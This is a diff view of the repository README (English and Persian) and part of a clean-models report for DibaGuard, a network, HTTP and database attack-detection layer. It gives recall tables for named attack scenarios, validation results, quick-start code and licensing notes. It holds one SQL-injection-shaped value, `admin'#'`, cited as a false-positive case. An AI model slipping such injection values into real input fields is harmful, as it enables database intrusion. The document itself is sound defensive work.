+ | evolving attacker, 12 waves | API enumeration, final recall | 0.979 | 0.973-0.983 |
120
+ | evolving attacker, 12 waves | benign sources blocked (flows / HTTP) | 0 / 0 | - |
121
+ | evolving attacker, 12 waves | benign alarm rate per source-minute (flows / HTTP) | 0.0011 / 0.0010 | budget 0.001 |
122
+ | six-wave playbook lab | SSH brute force / HTTP/2 rapid reset / credential stuffing / slow scan / chain peer flood, recall | 0.945 / 0.980 / 0.984 / 0.935 / 0.875 | see report |
123
+ | databases, 6 engines, 12 scenarios | detected / correct response | 1.000 / 1.000 (all twelve) | 1.0-1.0 |
124
+ | databases | benign alarms per million queries / app servers enforced | 0 / 0 | - |
125
+ | low-and-slow campaigns C1-C5 (150-3,000 sources) | member recall | 1.000 / 0.959 / 0.953 / 1.000 / 1.000 | detection delay 4.7 / 8.3 / 15.3 / 0.0 / 0.0 min |
126
+ | unfamiliar networks: hosting | flood on one tenant / slow distributed scan / SSH guessing | 0.991 / 0.918 / 1.000 | benign alarms 0.00096 per source-minute, 0 enforced |
127
+ | unfamiliar networks: office | SMB lateral movement / Kerberoasting / RDP spraying / LDAP enumeration | 1.000 each | benign alarms 0.00014 per source-minute, 0 enforced |
128
+ | unfamiliar networks: OT | PLC subnet scan / Modbus writes / telnet-ssh guessing / MQTT flood | 1.000 / 1.000 / 1.000 / 0.839 | benign alarms 0.000012 per source-minute, 0 enforced |
129
+ | platforms (WordPress, Joomla, Drupal, JSON API, generic) | 17 attack scenarios detected | 0.91-1.00 (13 of 17 at 1.000) | 0 benign sources blocked |
130
+ | chain RPC | eth_getLogs flood / debug_traceTransaction flood / mempool spam | 1.000 / 1.000 / 0.967 | - |
131
+
132
+ Real data (same report): SQL injection in the 2025 ModSecurity blocked-request archive with a visible payload
133
+ **1.000** [0.9977, 1.0] of 1,671 (libinjection on the same requests: 0.9856); all CRS-labelled SQLi rows 0.531 of
134
+ 3,225; SR-BH 2020 WordPress SQLi 0.608 of 9,886; false alarms on 80,000 benign requests of a production shop log
135
+ 0.00013 [0.00007, 0.00023]; DbNet + signatures on unseen query templates TPR 0.983 at FPR 0.0; DbNet alone on unseen
136
+ injection techniques TPR 0.743.
137
+
138
+ ## Independent validation
139
+
140
+ A team that did not build DibaGuard treated every claim as unverified and measured it (`docs/VALIDATION_REPORT.md`).
141
+ They reported **22 findings** (bypasses of the canonicaliser, silent caps, identity tricks, reference poisoning, state
142
+ attacks, harm to legitimate users, a global tier that flooded unfamiliar networks with alarms). **All 22 were fixed and
143
+ each reproduction is now a permanent regression test** (section 8 of the report). After the fixes: canonicalisation
144
+ fuzz of 3,000 cases, Python edge and Go path each block 99.3 % with 0 % diverging verdicts (72.5 % / 76.9 % and 32.8 %
145
+ divergence before); 80,234 benign requests of a real shop log, 0 blocked on every path; harm lab (26 simulated hours,
146
+ 3 seeds), users blocked per 1,000 per day 146 -> **0.0**, partner API clients and the search crawler no longer
147
+ challenged; OWASP CRS regression tests (4,138 attack / 1,054 negative), hard tiers 14.7 % of attack tests and 4.3 % of
148
+ negatives (a lower bound: many CRS tests are fragments a context engine is not meant to flag).
149
+
150
+ ![Legitimate users harmed per 1,000 per day, before and after the independent validation](charts/harm_before_after.png)
151
+
152
+ ## Quick start
153
+
154
+ ### Python (numpy only)
155
+
156
+ ```bash
157
+ pip install numpy
158
+ export PYTHONPATH=$PWD/runtime/python # or: pip install -e runtime/python after adding a pyproject of your own
159
+ ```
160
+
161
+ ```python
162
+ import numpy as np
163
+ from dibaguard.engine import Guard
164
+ from dibaguard.shield.layer import Layer
165
+
166
+ guard = Guard.load("models") # tier-1 prior, GRU SeqNet; guard.http is None in this build
167
+ L = Layer.load("models", policy={"mode": "report"}, # report: verdicts and would-be actions, nothing enforced
168
+ inputs={"http": True, "flows": True}, backend="dryrun") # DbNet is picked up from models/dbnet.npz
169
+
170
+ # 1. calibrate on this site's own benign traffic (no attack labels needed)
171
+ L.calibrate_flows(benign_flows) # dict of columns, see dibaguard.engine.FLOW_FIELDS
172
+ L.calibrate_http(["get /shop?item=12 | h:user-agent=mozilla/5.0", ...]) # canonical texts, dibaguard.http.parse
173
+ L.calibrate_db(benign_db_events) # {t, engine, db, client, query, rows, status}, adapters in shield/database.py
174
+
175
+ # 2. score, in time order
176
+ out = L.flows(flows) # per-flow alarm / family / score + actions per source
177
+ h = L.http(texts, client=clients, host=hosts, status=statuses, t=times) # playbook ids, families, actions
178
+ d = L.db(events) # verdicts with remediation; app servers are never blocked
179
+ print(L.report()) # incident report (JSON); dibaguard.report.render_en for text
180
+ ```
181
+
182
+ The sidecar serves the same engine over MCP and REST, with the operator console:
183
+
184
+ ```bash
185
+ python -m dibaguard.llm http --models models --port 8787 --policy policy.json --backend dryrun # REST + console
186
+ python -m dibaguard.llm mcp --models models # MCP over stdio
187
+ ```
188
+
189
+ Start in **report mode** with the dry-run backend; switch the policy to `enforce` only after reviewing the report
190
+ (`docs/INTEGRATIONS.md` section 10).
191
+
192
+ ### Go fast path
193
+
194
+ ```bash
195
+ cd runtime/go
196
+ go build -o dibaguard-authz ./cmd/dibaguard-authz # stdlib only, Go 1.22
197
+ ./dibaguard-authz -listen 127.0.0.1:9300 -models ../../models -sidecar http://127.0.0.1:8787 -mode report
198
+ ```
199
+
200
+ `dibaguard-authz` answers nginx `auth_request`, Envoy `ext_authz`, Traefik `ForwardAuth`, Caddy `forward_auth` and
201
+ HAProxy (`docs/INTEGRATIONS.md`). Without an HTTP model file it logs `model unavailable` once and runs on signatures
202
+ and the sidecar's state, which is the intended configuration of this build. `dibaguard-proxy` (the inline reverse
203
+ proxy) requires `models/http_v2/http_tier1_v2.bin` at start and therefore does not run against this model folder; use
204
+ `dibaguard-authz` behind your load balancer, or the Python layer inline.
205
+
206
+ ## Data and licences
207
+
208
+ * **Code**: Apache-2.0 (`LICENSE`).
209
+ * **Model files under `models/`**: CC BY-SA 4.0 (`LICENSE-WEIGHTS`), because LUFlow (Mills et al., IEEE TNSM 2021), one
210
+ training source, is CC BY-SA 4.0 and whether trained weights are Adapted Material is legally unsettled; this release
211
+ applies ShareAlike rather than relying on the answer.
212
+ * **Training data of the network models** (`NOTICE`): RoEduNet-SIMARGL2021 and SIMARGL2022 (CC BY 4.0, Mihailescu et
213
+ al., Sensors 2021); APPRAISE H2020 real labelled NetFlow (CC BY 4.0, ITTI); ACI-IoT-2023 (CC BY 4.0, Nack et al.,
214
+ MILCOM 2024, doi:10.21227/qacj-3x32); CSE-CIC-IDS2018 from the publisher's AWS bucket (Sharafaldin et al., ICISSP 2018;
215
+ https://registry.opendata.aws/cse-cic-ids2018); LUFlow 2020 / 2021 (CC BY-SA 4.0, Mills et al., IEEE TNSM 2021,
216
+ doi:10.1109/TNSM.2021.3091517). DbNet: own grammar-generated corpus. The same block is stored in each model's metadata.
217
+ * **Audit**: `docs/DATA_LICENSES.md` classifies every dataset the project ever touched (GREEN / AMBER / RED, with the
218
+ owner's terms quoted); `docs/CLEAN_MODELS.md` records how the clean set was built, the licence gate in the training
219
+ jobs, and every head-to-head number. Evaluation-only material (OWASP CRS tests, SR-BH 2020, the ModSecurity 2025
220
+ archive) was never trained on and nothing from it is bundled.
221
+
222
+ ## Limitations
223
+
224
+ * **No HTTP request model** in this build (above). Payloads the signatures and the SQL-context analysis do not name
225
+ are caught only when their client's behaviour is; the benign alarm rate of the HTTP edge is correspondingly lower,
226
+ and so is its recall on obfuscated XSS / command-injection variants.
227
+ * **Benign alarm rate on public flow captures is above the budget** when the scored period differs strongly from the
228
+ calibration window (`docs/VALIDATION_REPORT.md` section 8.5, measured with the private models after the fixes):
229
+ CSE-CIC-IDS2018 (AWS, DDoS day) 6.77 % of benign source-minutes alarmed (3.04 % without the two global tiers; 99.7 % of
230
+ attack source-minutes caught); SIMARGL 2021 (a 2-million-flow scan) 24.07 % (1.03 % without the global tiers; 100 %
231
+ caught); LUFlow 2021 temporal hold-out 1.12 % (10.3 % of reputation-labelled attack sources caught). The budget is
232
+ 0.1 %; the labs meet it, these captures do not yet. A longer calibration window (a day rather than hours) is the
233
+ first lever.
234
+ * **IoT / UNSW-style networks**: the open tier-1 prior is weak there (section above).
235
+ * Payload inspection needs clear text (TLS-terminating proxy or logs); encrypted traffic is covered for behaviour only.
236
+ * A slow *distributed* scan among internet background radiation is found by the campaign tier in 6-17 minutes.
237
+ * Python state costs about 3-3.6 KB per tracked source (design budget 300 B): size `max_entities` to RAM or put the Go
238
+ tiers in front; re-calibration still runs on the hot path.
239
+ * Prose that has the exact shape of an injection (`admin'#'`) is still blocked (2.09 % of technical docstring sentences
240
+ with an apostrophe; 0 of 16 ordinary review sentences).
241
+ * Several uploader identities behind the CC BY sources (SIMARGL, LUFlow, ACI-IoT Kaggle accounts) are inferred from
242
+ display names, not verified; the CIC redistribution wording should be confirmed by e-mail. Not legal advice.
243
+
244
+ ## Model files
245
+
246
+ | file | bytes |
247
+ |---|---|
248
+ | `models/dbnet.bin` | 3,160,300 |
249
+ | `models/dbnet.bin.json` | 680 |
250
+ | `models/dbnet.npz` | 2,403,349 |
251
+ | `models/dbnet_eval.json` | 6,016 |
252
+ | `models/entity_v1/lu_entity_detector.bin` | 188,976 |
253
+ | `models/entity_v1/lu_entity_detector.bin.json` | 1,916 |
254
+ | `models/entity_v1/lu_entity_detector.npz` | 152,441 |
255
+ | `models/entity_v1/nf_entity_detector.bin` | 274,400 |
256
+ | `models/entity_v1/nf_entity_detector.bin.json` | 2,820 |
257
+ | `models/entity_v1/nf_entity_detector.npz` | 221,205 |
258
+ | `models/seq_v1/nf_entity_mono.bin` | 82,358 |
259
+ | `models/seq_v1/nf_entity_mono.bin.json` | 3,116 |
260
+ | `models/seq_v1/nf_entity_mono.npz` | 17,794 |
261
+ | `models/seq_v1/seq_v1_info.json` | 560 |
262
+ | `models/seq_v1/seqnet.bin` | 381,172 |
263
+ | `models/seq_v1/seqnet.bin.json` | 5,512 |
264
+ | `models/seq_v1/seqnet.npz` | 390,463 |
265
+
266
+ ## Documentation
267
+
268
+ `docs/TECHNICAL.md` (design, models, calibration, HTTP edge, database tier, shield, history, results, limitations),
269
+ `docs/VALIDATION_REPORT.md` (independent validation and the remediation), `docs/CLEAN_MODELS.md` (licence-clean
270
+ models, head-to-head), `docs/DATA_LICENSES.md` (licence audit), `docs/INTEGRATIONS.md` (nginx, Envoy, HAProxy, Traefik,
271
+ Caddy, Kubernetes), `docs/CONSOLE.md` (operator console), `docs/HA.md` (state, restarts, replicas), `docs/PERFORMANCE.md`
272
+ (throughput, latency, memory), `docs/DESIGN.md` (the original design note), `reports/benchmark.md`. The copies in this
273
+ repository had their Persian sections removed and carry a note about what applies to the open build.
274
+
275
+ ## Citation
276
+
277
+ ```bibtex
278
+ @software{dibaguard_2026,
279
+ title = {DibaGuard: a CPU-light, calibrated attack-detection and protection layer},
280
+ author = {Dibachain},
281
+ year = {2026},
282
+ url = {https://huggingface.co/Dibachain/DibaGuard},
283
+ license = {Apache-2.0 (code), CC-BY-SA-4.0 (models)}
284
+ }
285
+ ```
286
+
287
+ ---
288
+
289
+ # دیباگارد (DibaGuard)
290
+
291
+ **لایهٔ سبکِ تشخیص و دفع حمله برای جریان‌های شبکه، HTTP، گره‌های JSON-RPC و پایگاه‌های داده؛ با نرخ هشدار اشتباهِ کنترل‌شده، حکم‌های قابل‌توضیح و اجراکننده‌ای که فقط طبق سیاست اپراتور عمل می‌کند.** این نسخهٔ عمومی و پاک از نظر مجوز است که دیباچین منتشر کرده: کد با مجوز Apache-2.0 و فایل‌های مدل با مجوز CC BY-SA 4.0 (چون یکی از منابع آموزشی ShareAlike است). دموی تعاملی: [`DibaAi/beam-dibaguard`](https://huggingface.co/spaces/DibaAi/beam-dibaguard).
292
+
293
+ ## دیباگارد چیست
294
+
295
+ دیباگارد همان‌جایی می‌نشیند که یک WAF، یک IDS و یک فایروال میزبان می‌نشینند: درون‌خط جلوی برنامه، به‌عنوان سرویس تصمیم‌گیری بیرونی پشت لودبالانسری که همین حالا دارید (nginx، Envoy، HAProxy، Traefik، Caddy)، یا کنار میزبان با خواندن خروجی جریان‌ها و لاگ‌ها. هر هشدار سه چیز همراه دارد:
296
+
297
+ - **نرخ هشدار اشتباهِ کنترل‌شده**: آستانه‌ها با روش Conformal روی ترافیک خودِ سایت کالیبره می‌شوند (بودجهٔ پیش‌فرض ۰٫۰۰۱ برای هر منبع-دقیقه).
298
+ - **خانوادهٔ حمله و شواهد**: پویش پورت، brute force، DoS/DDoS، تزریق SQL، حرکت جانبی، نشت داده و غیره، با همان شمارنده‌هایی که هشدار را ساخته‌اند.
299
+ - **اقدامی که سیاست اپراتور تعیین می‌کند**: فقط گزارش، یا اجرا (مسدودسازی، محدودسازی نرخ، چالش مرورگر)؛ فقط حکم‌های `block_ok` اجرا می‌شوند.
300
+
301
+ استنتاج در پایتون فقط به numpy نیاز دارد و مسیر سریع Go بدون وابستگی، روی نمونه‌های برابری بیت‌به‌بیت با پایتون یکسان است. اپراتور قانون‌هایش را به زبان ساده می‌نویسد (فارسی و انگلیسی با پارسر داخلی؛ هر زبانی از راه مدل زبانی دلخواه از طریق پل MCP/REST). لایه برداشتش را پیش از فعال‌شدن قانون نشان می‌دهد و هر پیشنهاد مدل زبانی از دروازهٔ تأیید می‌گذرد.
302
+
303
+ ## آبشار تشخیص
304
+
305
+ 1. **طبقهٔ ۰، وضعیت موجودیت**: ۳۶ شمارندهٔ رفتاری با کاهش نمایی برای هر منبع در سه افق (۱۰ ثانیه، ۲ دقیقه، ۳۰ دقیقه): سهم بی‌پاسخ، SYN تنها، ریست، پورت تازه، میزبان تازه، تکرار، جریان کوتاه، فاصله‌ها، و سه شمارندهٔ سمت مقصد.
306
+ 2. **طبقهٔ ۱، پیش‌فرض درختی یکنوا**: درخت‌های oblivious با قید یکنوایی روی ۲۴ ویژگی جهت‌دارِ حمله؛ p-value به تفکیک سرویس × سن منبع (Mondrian).
307
+ 3. **طبقهٔ '۱، ناهنجاری فقط-سایت**: مجموع فیشرِ p-valueهای دم بالا روی همان ویژگی‌ها نسبت به مرجع خودِ سایت؛ بدون برچسب.
308
+ 4. **طبقهٔ ۲، شبکهٔ دنباله‌ای GRU**: روی جریان هر منبع (فقط منبع‌های گرم)، با زمینهٔ سایت.
309
+ 5. **شواهد (CUSUM)**: شواهد انباشتهٔ هر منبع با میانگین صفر، قضاوت در واحد منبع-دقیقه؛ یک افق کند برای پویش‌های آهسته.
310
+ 6. **طبقهٔ مقصد و کارزار**: طغیان توزیع‌شده روی یک مقصد؛ کارزارهای آهسته و پخش (صدها آدرس، هرکدام چند تلاش) از راه اثرانگشت سرویس × شکست و شمار منبع‌های متمایز ناموفق در هر پنجره.
311
+ 7. **لبهٔ HTTP**: امضاهای A01 تا A22، تحلیل زمینهٔ SQL برای هر پارامتر، DbNet به‌عنوان نظر دوم، و طبقهٔ نشست (هر درخواست یک رویداد از جریان کلاینت است).
312
+ 8. **طبقهٔ پایگاه‌داده**: ۱۳ موتور و ۶ قالب لاگ؛ امضاها روی ساختارِ بدون رشته، DbNet، حجم خواندن به تفکیک کلاینت و جدول، شکل کوئری‌های خودِ برنامه؛ ردیابی منشأ محموله تا کلاینت وبِ پشت برنامه.
313
+ 9. **پوستهٔ حفاظتی**: سیاست، اجراکننده (nftables/iptables/فایروال ویندوز/آزمایشی)، هویت (NAT/CGNAT، ‎/64 در IPv6)، بازخورد ضدمسموم‌سازی، ممیزی وضعیت، کنسول اپراتور.
314
+
315
+ ## چه چیزی در این مخزن هست و چه چیزی نیست
316
+
317
+ مدل‌های شبکه (پیش‌فرض یکنوا، GRU، آشکارسازهای موجودیت) و DbNet به‌صورت `npz` و به‌صورت آرایه‌های تخت `bin` برای Go؛ کل runtime پایتون و Go؛ مستندات فنی، گزارش اعتبارسنجی مستقل، ممیزی مجوز داده‌ها، گزارش مدل‌های پاک، بنچمارک سه‌بذری و نمودارها.
318
+
319
+ **مدل درخواست HTTP در این مخزن نیست.** مدل نسخهٔ خصوصی روی داده‌هایی آموزش دیده که مجوز بازنشرشان روشن نیست، و بازآموزی با دادهٔ پاک روی برنامه‌های نادیده فرو می‌ریزد (`docs/CLEAN_MODELS.md`). موتور این پیکربندی را به‌صورت بومی پشتیبانی می‌کند: لبهٔ HTTP این نسخه با امضاها، تحلیل زمینهٔ SQL، DbNet و طبقهٔ نشست کار می‌کند.
320
+
321
+ ## نتایج
322
+
323
+ آزمایشگاه‌های بازتولیدپذیر (سه seed، `reports/benchmark.md`)، اندازه‌گیری‌شده روی نسخهٔ خصوصی با مجموعهٔ کامل مدل‌ها؛ خط‌های تزریق SQL و مقایسه با libinjection فقط به امضا + زمینهٔ SQL + DbNet وابسته‌اند:
324
+
325
+ | آزمایشگاه | مورد | نتیجه |
326
+ |---|---|---|
327
+ | مهاجم تکامل‌یابنده، ۱۲ موج | Log4Shell، brute force ‏SSH، تقویت NTP، پرکردن اعتبارنامه، طغیان همتا، rapid reset، اکسپلویت وردپرس، خزندهٔ هوش مصنوعی | بازیابی نهایی ۱٫۰۰۰ برای همه |
328
+ | مهاجم تکامل‌یابنده | شمارش API | ۰٫۹۷۹ |
329
+ | مهاجم تکامل‌یابنده | منبع سالمِ مسدودشده (جریان / HTTP) | ۰ / ۰ |
330
+ | پایگاه‌داده، ۶ موتور، ۱۲ سناریو | تشخیص / پاسخ درست | ۱٫۰۰۰ / ۱٫۰۰۰ (هر دوازده) ؛ هشدار سالم: ۰ در میلیون کوئری |
331
+ | کارزارهای آهسته و پخش C1 تا C5 (۱۵۰ تا ۳۰۰۰ منبع) | بازیابی اعضا | ۱٫۰۰۰ / ۰٫۹۵۹ / ۰٫۹۵۳ / ۱٫۰۰۰ / ۱٫۰۰۰ ؛ تأخیر ۴٫۷ / ۸٫۳ / ۱۵٫۳ / ۰ / ۰ دقیقه |
332
+ | شبکه‌های ناآشنا: هاستینگ / اداری / صنعتی (OT) | ۱۱ حمله | ۰٫۸۴ تا ۱٫۰۰؛ هیچ منبع سالمی اجرا نشد |
333
+ | پلتفرم‌ها (وردپرس، جوملا، دروپال، JSON API، عمومی) | ۱۷ سناریو | ۰٫۹۱ تا ۱٫۰۰؛ ۰ منبع سالم مسدود |
334
+
335
+ دادهٔ واقعی: تزریق SQL در آرشیو ۲۰۲۵ ModSecurity با محمولهٔ قابل‌مشاهده **۱٫۰۰۰** از ۱۶۷۱ (libinjection: ۰٫۹۸۶)؛ هشدار اشتباه روی ۸۰ هزار درخواست سالم یک فروشگاه واقعی ۰٫۰۰۰۱۳.
336
+
337
+ **اعتبارسنجی مستقل**: تیمی که دیباگارد را نساخته بود ۲۲ یافته گزارش داد (دور زدن کانونی‌ساز، سقف‌های خاموش، ترفندهای هویت، مسموم‌سازی مرجع، آسیب به کاربر سالم). همهٔ ۲۲ مورد از ریشه رفع شد و بازتولید هرکدام تست دائمی رگرسیون است (`docs/VALIDATION_REPORT.md` بخش ۸). بعد از رفع: در fuzz کانونی‌سازی با ۳۰۰۰ مورد، مسیر پایتون و Go هرکدام ۹۹٫۳٪ را مسدود می‌کنند با ۰٪ اختلاف حکم؛ ۸۰٬۲۳۴ درخواست سالم: ۰ مسدود؛ کاربران سالمِ مسدودشده در هر ۱۰۰۰ کاربر در روز: ۱۴۶ ← **۰**.
338
+
339
+ ## شروع سریع
340
+
341
+ ```bash
342
+ pip install numpy
343
+ export PYTHONPATH=$PWD/runtime/python
344
+ ```
345
+
346
+ ```python
347
+ from dibaguard.shield.layer import Layer
348
+ L = Layer.load("models", policy={"mode": "report"}, inputs={"http": True, "flows": True}, backend="dryrun")
349
+ L.calibrate_flows(benign_flows) # ترافیک عادی خودِ سایت، بدون برچسب حمله
350
+ out = L.flows(flows) # هشدار، خانواده، امتیاز و اقدام برای هر منبع
351
+ h = L.http(texts, client=clients, host=hosts, status=statuses, t=times)
352
+ d = L.db(events)
353
+ print(L.report()) # گزارش رخداد (JSON)؛ متن فارسی: dibaguard.report.render_fa
354
+ ```
355
+
356
+ سایدکار همین موتور را از راه MCP و REST به همراه کنسول اپراتور ارائه می‌دهد:
357
+
358
+ ```bash
359
+ python -m dibaguard.llm http --models models --port 8787 --policy policy.json --backend dryrun
360
+ ```
361
+
362
+ همیشه با **حالت گزارش** و backend آزمایشی شروع کنید و فقط پس از بازبینی گزارش، سیاست را به `enforce` ببرید. مسیر سریع Go (`runtime/go`, ‏`dibaguard-authz`) پشت nginx، Envoy، HAProxy، Traefik و Caddy می‌نشیند (`docs/INTEGRATIONS.md`).
363
+
364
+ ## داده و مجوزها
365
+
366
+ - **کد**: Apache-2.0 (`LICENSE`).
367
+ - **فایل‌های مدل**: CC BY-SA 4.0 (`LICENSE-WEIGHTS`)، چون LUFlow یکی از منابع آموزشی با مجوز ShareAlike است.
368
+ - **دادهٔ آموزشی مدل‌های شبکه** (`NOTICE`): SIMARGL2021 و SIMARGL2022 ‏(CC BY 4.0)، APPRAISE ‏(CC BY 4.0)، ACI-IoT-2023 ‏(CC BY 4.0)، CSE-CIC-IDS2018 از مخزن AWS ناشر (با ذکر منبع)، LUFlow 2020/2021 ‏(CC BY-SA 4.0). DbNet: پیکرهٔ خودساختهٔ گرامری.
369
+ - **ممیزی**: `docs/DATA_LICENSES.md` هر دیتاستی را که پروژه لمس کرده طبقه‌بندی می‌کند؛ `docs/CLEAN_MODELS.md` ساخت مجموعهٔ پاک و همهٔ اعداد مقایسه را ثبت کرده است.
370
+
371
+ ## محدودیت‌ها (صادقانه)
372
+
373
+ - مدل درخواست HTTP در این نسخه نیست؛ شمارش API بدون محموله شواهدی نمی‌سازد.
374
+ - مدل‌های باز روی ترافیک شبیه UNSW-NB15 و ToN-IoT از مدل‌های خصوصی ضعیف‌ترند، چون هم‌تای مجازی برای آن داده‌ها وجود ندارد.
375
+ - روی بعضی داده‌های جریان عمومی، نرخ هشدار سالم هنوز بالاتر از بودجهٔ ۰٫۰۰۱ است (گزارش اعتبارسنجی، بخش ۸٫۵).
376
+ - بازرسی محموله به ترافیک رمزگشایی‌شده نیاز دارد؛ طبقه‌های رفتاری فقط فرادادهٔ جریان می‌خواهند.
377
+
378
+ ---
379
+
380
+ <div align="center">
381
+
382
+ **دیباچین · Dibachain** — [dibachain.ir](https://dibachain.ir) · [info@dibachain.ir](mailto:info@dibachain.ir)
383
+
384
+ </div>
charts/clean_vs_shipped.png ADDED

Git LFS Details

  • SHA256: edf85015fc61f9b61d7aa067ef12d3005ee9dbd60c99de10f0f1e233098f33c2
  • Pointer size: 131 Bytes
  • Size of remote file: 114 kB
charts/harm_before_after.png ADDED
charts/labs_recall.png ADDED

Git LFS Details

  • SHA256: 06e68a4eeca07c22525463b0d4e88c64a61b4c189992f5a096542e2421149c3b
  • Pointer size: 131 Bytes
  • Size of remote file: 153 kB
docs/CLEAN_MODELS.md ADDED
@@ -0,0 +1,341 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard licence-clean models (roadmap 16)
2
+
3
+ > **Open-release copy** ([DibaAi/DibaGuard-Open](https://huggingface.co/DibaAi/DibaGuard-Open)). This document was written for the private build of DibaGuard. Numbers that involve the HTTP request model (`http_v2`) were measured with that model, which is **not** part of the open release; the open release ships the licence-clean network models described in `CLEAN_MODELS.md`. Licence statements inside this document are superseded by `DATA_LICENSES.md`, `CLEAN_MODELS.md` and the repository's `LICENSE`, `LICENSE-WEIGHTS` and `NOTICE` files. Sections of the original that were written in Persian were removed from this copy; nothing else was edited.
4
+
5
+ Status as of **2026-10-31** (final). Goal: a model set that may ship in a commercial, closed product, trained **only** on
6
+ sources that `docs/DATA_LICENSES.md` (the licence audit of the same day) marks GREEN. Nothing shipped was touched:
7
+ the clean models sit next to the shipped ones under `clean_*` names in `DibaAi/dibaguard-results-private`, the clean
8
+ corpora under new folders in `DibaAi/dibaguard-data-private`. Fetched reports: `D:/build-tmp/guard/clean/`.
9
+
10
+ ## 0. Verdict and head-to-head metrics
11
+
12
+ **Network side (tier-1 prior, tier-2 GRU, entity detectors): the clean set can replace the shipped one**, with one
13
+ stated weakness (IoT / UNSW-NB15-style networks, below) and one legal condition (LUFlow is CC BY-SA 4.0; the
14
+ LUFlow-trained parts need sign-off or a retrain without LUFlow, section 6). **HTTP side: it cannot yet.** The clean HTTP model is
15
+ strong on traffic like its own (SR-BH, ModSecurity days 21-30 with an SR-BH reference) but collapses on an
16
+ application it never saw (the shipped test suite, the attack-simulation lab, a zanbil.ir reference): keep the
17
+ shipped HTTP model out of a commercial build and do not ship the clean one in its place until the gaps in section 6
18
+ are closed. A third attempt (own attack grammar, benign clients without a User-Agent) traded one failure for another (section 0.4) and is not a replacement either.
19
+
20
+ How these numbers were made (`guard_jobs/clean_eval.py`, Kaggle CPU runs `guard-clean-eval-flows`,
21
+ `guard-clean-eval-http`; reports `clean_vs_shipped_flows.json`, `clean_vs_shipped_http.json`): both model sets score
22
+ **the same rows**. Flows: the site reference is the testbed's `cal` split (benign rows), the scored rows its later
23
+ `test` split, threshold = conformal quantile of the reference at alpha = 1e-3 for both models. HTTP: profile and
24
+ threshold from half of the suite's benign rows (the same 512 profile rows for both models), FPR on the other half;
25
+ attack-only suites use a named benign reference. 95 % CIs are cluster bootstraps (clusters = source address for
26
+ flows, payload group or client for HTTP), so one attacker's many rows cannot narrow them; CIs on a single cluster
27
+ collapse to a point. "Seen" = the model's training data contained (other rows of) that testbed. RED / AMBER rows
28
+ (nfv3_*, http_v1, zanbil) were scored for this comparison only, never trained on; those numbers are internal.
29
+
30
+ ### 0.1 Tier-1 prior (`nf_entity_mono`, the engine's per-flow prior), per-flow, alpha = 1e-3
31
+
32
+ For GREEN testbeds the clean side is a leave-out retrain of the same model (`clean_lodo_mono`, trained here without
33
+ the testbed; SIMARGL 2021 and 2022 are held out together because they are one network a year apart), so neither
34
+ side saw the scored network.
35
+
36
+ | scored network (rows: benign / attack) | seen by | shipped AUROC [95 % CI] | clean AUROC [95 % CI] | shipped FPR / TPR | clean FPR / TPR [TPR CI] |
37
+ |---|---|---|---|---|---|
38
+ | SIMARGL2022 (337k / 914k) | neither | 0.968 [0.836, 1.000] | **0.999** [0.999, 1.000] | 0.0023 / 0.52 | 0.0010 / 0.49 [0.01, 1.00] |
39
+ | APPRAISE (767k / 483k) | neither | 0.614 [0.376, 0.828] | **0.985** [0.224, 0.989] | 0.0072 / 0.00 | 0.0020 / **0.94** [0.00, 0.94] |
40
+ | ACI-IoT-2023, author release (166k / 142k) | neither | 0.622 [0.422, 0.757] | 0.644 [0.273, 0.779] | 0.0011 / 0.0003 | 0.0002 / 0.17 [0.00, 0.42] |
41
+ | CSE-CIC-IDS2018 Tue 20-02, AWS (1.09M / 160k) | neither | 0.949 [0.925, 0.968] | **1.000** [1.000, 1.000] | 0.0000 / 0.00 | 0.0037 / 1.00 (FPR above alpha) |
42
+ | SIMARGL2021 (654k / 596k) | shipped | 0.911 [0.789, 0.991] | 0.932 [0.857, 1.000] | 0.00005 / 0.00 | 0.0005 / 0.00 |
43
+ | NF-CSE-CIC-IDS2018-v3 (1.11M / 141k) | shipped | 0.987 [0.982, 0.993] | **0.994** [0.993, 0.996] | 0.0000 / 0.00 | 0.00004 / 0.00 |
44
+ | NF-ToN-IoT-v3 (713k / 537k) | shipped | **0.955** [0.801, 0.998] | 0.879 [0.000, 0.950] | 0.0002 / 0.004 | 0.0000 / 0.00 |
45
+ | NF-UNSW-NB15-v3 (540k / 52k) | shipped | **0.958** [0.923, 0.979] | 0.066 [0.015, 0.102] | 0.0005 / 0.00 | 0.0000 / 0.00 |
46
+ | NF-BoT-IoT-v3 (403 / 1.25M) | shipped | 0.996 | 0.993 | — (403 benign) | — |
47
+
48
+ Per family where it matters: SIMARGL2022 DoS 1.00 (shipped) vs 0.01 (clean leave-out), port scans 0.00 vs 1.00;
49
+ APPRAISE reconnaissance 0.00 vs 0.94. Per-flow TPR at alpha = 1e-3 is near zero for both priors on most networks:
50
+ the prior is not where the engine detects (it feeds the per-source evidence tier, next table).
51
+
52
+ **Per-source evidence (what the engine alarms on), SIMARGL2021, unseen network, Mondrian-fused tiers, judged per
53
+ (source, minute) at alpha = 1e-3:** clean (SIMARGL 2021 + 2022 held out, run `guard-clean-seq-4`): FPR 0.00081
54
+ [0.0007, 0.0010], attacking source-minutes caught 8 / 8 [0.68, 1.00] (Wilson), every attacking source caught, median
55
